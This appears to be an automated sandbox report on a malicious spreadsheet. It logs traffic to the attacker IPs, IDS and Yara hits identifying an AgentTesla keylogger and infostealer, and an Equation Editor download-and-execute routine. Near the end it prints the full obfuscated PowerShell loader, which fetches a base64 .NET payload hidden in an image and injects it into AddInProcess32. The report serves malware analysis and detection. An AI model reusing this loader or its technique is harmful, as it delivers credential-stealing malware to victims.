Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2049038 ET TROJAN Malicious Base64 Encoded Payload In Image 41.216.183.13:80 -> 192.168.2.22:49162
Source: Traffic Snort IDS: 2020425 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 3 M1 192.3.243.156:80 -> 192.168.2.22:49164
Source: Traffic Snort IDS: 2020425 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 3 M1 192.3.243.156:80 -> 192.168.2.22:49167
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\wscript.exe Network Connect: 41.216.183.13 80 Jump to behavior
Yara detected Generic Downloader
Source: Yara match File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE
Contains functionality to download and execute PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035205CF URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_035205CF
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /images/004/807/053/original/new_image.jpg?1719846235 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/004/807/053/original/new_image.jpg?1719846235 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic HTTP traffic detected: GET /ourTraditionalbase.txt HTTP/1.1Host: 192.3.243.156Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /ourTraditionalbase.txt HTTP/1.1Host: 192.3.243.156
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View ASN Name: AS40676US AS40676US
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
May check the online IP address of the machine
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe DNS query: name: ip-api.com
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe DNS query: name: ip-api.com
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /portugalslovenia.jpeg HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.243.156Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txt HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 41.216.183.13
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 41.216.183.13
Source: unknown TCP traffic detected without corresponding DNS query: 41.216.183.13
Source: unknown TCP traffic detected without corresponding DNS query: 41.216.183.13
Source: unknown TCP traffic detected without corresponding DNS query: 41.216.183.13
Source: unknown TCP traffic detected without corresponding DNS query: 41.216.183.13
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035205CF URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_035205CF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\portugalslovenia[1].jpg Jump to behavior
Source: global traffic HTTP traffic detected: GET /images/004/807/053/original/new_image.jpg?1719846235 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/004/807/053/original/new_image.jpg?1719846235 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic HTTP traffic detected: GET /portugalslovenia.jpeg HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.243.156Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txt HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 41.216.183.13
Source: global traffic HTTP traffic detected: GET /ourTraditionalbase.txt HTTP/1.1Host: 192.3.243.156Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /ourTraditionalbase.txt HTTP/1.1Host: 192.3.243.156
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: uploaddeimagens.com.br
Source: global traffic DNS traffic detected: DNS query: ip-api.com
Source: powershell.exe, 00000006.00000002.479060921.00000000025B5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.156
Source: powershell.exe, 00000006.00000002.482820667.00000000062C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.479060921.00000000025B5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.156/ourTraditionalbase.txt
Source: EQNEDT32.EXE, 00000002.00000002.462891948.0000000000622000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.156/portugalslovenia.jpega
Source: EQNEDT32.EXE, 00000002.00000002.463247767.0000000003520000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.156/portugalslovenia.jpegj
Source: EQNEDT32.EXE, 00000002.00000002.462891948.0000000000622000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.156/portugalslovenia.jpegr
Source: EQNEDT32.EXE, 00000002.00000002.462891948.0000000000622000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.243.156/portugalslovenia.jpeguuC:
Source: wscript.exe, 00000005.00000002.484789084.00000000001C7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484687327.000000000075D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.484826885.000000000075E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484692972.0000000000756000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.484826885.0000000000757000.00000004.00000020.00020000.00000000.sdmp, portugalslovenia[1].jpg.2.dr, portugalslovenia.js.2.dr String found in binary or memory: http://41.216.183.13/Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txt
Source: wscript.exe, 00000005.00000002.484826885.0000000000773000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484735410.000000000075D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484751886.0000000000772000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484687327.000000000075D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://41.216.183.13/Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txtC:
Source: wscript.exe, 00000005.00000003.484540516.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.484859196.00000000007A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://41.216.183.13/Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txtz
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000006.00000002.478435107.00000000005FC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://go.microsoft.c
Source: AddInProcess32.exe, 00000008.00000002.478863572.0000000002511000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.00000000025AE000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.00000000025CB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.000000000251B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.00000000025AE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com
Source: powershell.exe, 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.0000000002511000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.00000000025AE000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.000000000251B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.00000000025AE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000006.00000002.479060921.0000000002331000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.0000000002511000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478863572.00000000025AE000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.000000000251B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000009.00000002.618799471.00000000025AE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: AddInProcess32.exe, 00000009.00000002.618799471.0000000002519000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.w3.
Source: powershell.exe, 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.481125469.0000000003359000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br
Source: powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br/images/004/806/083/original/new_image.jpg?1719607612
Source: powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br/images/004/806/083/original/new_image.jpg?1719607612Ama;
Source: powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235
Source: powershell.exe, 00000006.00000002.479060921.000000000246A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235Ama;
Source: unknown Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to log keystrokes (.Net Source)
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, 8WWn.cs .Net Code: lLRvJ

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: sheet1.xml, type: SAMPLE Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.powershell.exe.3aa4df8.2.unpack, type: UNPACKEDPE Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 2200, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Very long command line found
Source: C:\Windows\SysWOW64\wscript.exe Process created: Commandline size = 2799
Source: C:\Windows\SysWOW64\wscript.exe Process created: Commandline size = 2799 Jump to behavior
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: Server XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}\ProgID Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\ProgID Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"
